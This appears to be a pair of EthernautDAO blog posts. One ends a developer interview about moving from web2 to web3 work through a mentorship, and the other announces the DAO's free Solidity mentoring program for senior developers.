Yes. It was difficult at times. Especially considering I was starting off well behind my two cohort mates in the mentorship. So I had to work much harder to level up my skills. But everyone was really cool and helpful. Our mentor, Alberto, is extremely kind and patient. He is also a masterful teacher, a world-class programmer, and an all-around great guy. A big source of motivation for me was that I did not want to let him down.

If you have transitioned to web3 full time, how different is it from your previous career?

Night and FUCKING day.

My web2 job experience: 20–30% of my time wasted in useless meetings. “Agile” web2 product dev means they are quick to pull you off of any project you are in the middle of because a key client wants some ridiculous new tweak. Other devs seemed to be happy implementing half-assed bandaid solutions. I guess it means they will still have a job when it breaks in 6 months. No quality standards whatsoever. Poorly documented, barely functioning, spaghetti code is the norm. My mental and physical health were deteriorating — a lot of the stress was from feeling like I was wasting my life.

My web3 experience: I’m constantly amazed at the caliber of people I get to work with. We challenge each other to find new ways to raise the bar. Quality standards are quite high. I guess it’s different when you’ve got full mutability and unlimited resources in web2, meanwhile we’re out here trying to build hyperstructures that run on the EVM. If we don’t go lean we’re too expensive, and if we’re not ultra-secure, we get hacked. Because the stakes are higher, naturally, the quality of the code, the culture, the people, and the integrity all go up.** Devs are respected and appreciated**. I am given 1–2 days per week to basically work on anything I want. I love every minute of my job, I’m excited to log on in the mornings and interact with my colleagues.

What advice would you give to web3-curious devs?

Follow your heart. Don’t let fear dictate your life. Go down some rabbit holes reading/learning about things. Buidl something. You might think AMM’s are crazy complex, but if you sat down and did a tutorial, I bet you could build one in ½ a day. The same thing with NFTs, you could literally mint your own NFTs within a couple of hours following a tutorial. Find good communities on Twitter or Discord, there are plenty. Or don’t!! Just don’t waste your life and health on a stressful, soul-deteriorating job cuz life is too goddamn shawt.

Anything else you want to add?

I am eternally grateful to EthernautDAO. It has been life-changing for me. I fully support everything you are doing. Thank you from the bottom of my heart. I will continue to give back to the DAO as well as the web3 community for the rest of my life, inspired by you. Thank you.

Follow devtooligan on Twitter: @devtooligan

EthernautDAO offers free mentorships to experienced web2 devs trying to break into web3. If this sounds like you, check out the available mentorships in the EthernautDAO Discord and follow us on Twitter to get notified when a new mentorship is available.

Welcome to the Ether, Ethernaut.

The Ethereum ecosystem continues to grow at a staggering pace. Layer 2 solutions are finally here, the Eth2 merge is well under way, and DeFi adoption continues to rise. Things are stirring up for sure! To keep up with the pace, protocols need to scale engineering capacities. In spite of the phenomenal growth, there aren’t enough qualified developers in the ecosystem for everything we need to build in the short to mid term. The issue at hand is that while there are millions of exceptionally skilled and experienced senior developers out there, senior Solidity developers remain scarce.

The Ethernauts, developers already exploring the ether, seek out to solve this imbalance and flip the supply deficiency by combining their forces and knowledge. With the right incentives, we can rapidly transform senior developers into senior Solidity developers.

Therefore, we are thrilled to share with you the news of the creation of the EthernautDAO.

The Ethernaut solution

Fortunately, the first Ethernauts are starting to come together to train new Ethereum engineers! To jump-start the population of future Ethernauts, we can begin with just the Ethereum part. With the right mentoring, a senior developer can become a senior Solidity developer in a very short period of time.

A senior developer in any tech stack is a master of the art of divide-and-conquer problem solving. In fact, this is one of the pillars that gives the seniority title. For a senior developer, learning a new language, or even a new tech stack like Ethereum is just another problem that can be crushed systematically. With a skilled mentor — a fellow Ethernaut — at hand, this can be accomplished in no time.

The genesis group of Ethernauts consists of meticulously picked, highly skilled and experienced Solidity developers and educators chosen by the founding protocols of the DAO. Mentors in turn propose their trainees, while the EthernautDAO will provide incentives to jump-start a rapid two-month mentoring program.

Throughout the program, trainees can already be productive by helping out with the outer layers of a particular project, which do not strictly require Ethereum knowledge per se. Things like front end engineering, unit testing, continuous integration, scripting, and much more; in our experience, we’ve found that backlog trimming is a particularly effective training ground for Ethernauts-to-be.

Our initial calculations show that if training takes 2 months, we could turn the entire population of senior developers worldwide into Ethernauts in less than four years. Or maybe not. 😆

At the end of the transformation process, new Ethernauts will arise who in return one day will be able to mentor new trainees. The more Ethernauts we create, the faster we can scale our efforts building the future of Ethereum.

Shaping the future of Ethereum

This two-month mentoring program is just the beginning. As the EthernautDAO aligns incentives, it will act as a valuable resource for trainees, mentors, and protocols looking for Solidity developers. The DAO will be able to define standards with regard to educational material and instructional content, skill assessment, and hiring conditions. For example, the DAO will guarantee a minimum wage, fair equity emission, 100% remote compatibility, and more.

Besides mentoring senior developers, the EthernautDAO will also enable non-seniors to participate in open activities, such as workshops, AMAs or hackathons. The first Discord AMA is already planned for Wednesday, July 14th 21:00 UTC. Don’t miss this opportunity to get involved with the EthernautDAO!

With time, we can expect the DAO to produce its own curriculum to educate future Ethereum developers and be a well known go-to place for general education. This way, also junior or semi-senior developers will be able to benefit from the DAO and one day have a trajectory at hand to become successful Ethernauts, adding to the ever growing pool of qualified Ethereum builders.

And this is just the beginning. How the EthernautDAO evolves in order to define new standards and enable growth depends on all of us! We hereby invite the whole Ethereum community to join us and create something beautiful for all to benefit.

Ethernauts, Unite!

The EthernautDAO is open for everyone willing to contribute by sharing their knowledge and know-how, or to simply broaden their horizons and learn together with the best!

We also invite all Ethereum native protocols to stop fighting this battle solo, and instead collaborate to solve this problem at a community level.

The DAO at this moment consists of a council of mentors, representatives of the first participating protocols, as well as the coordination and educational staff. If you’re a senior Solidity developer or representative of a protocol, reach out to us and join the effort!

For information sharing and community discussions, join our Discord server, present yourself and join the discussions!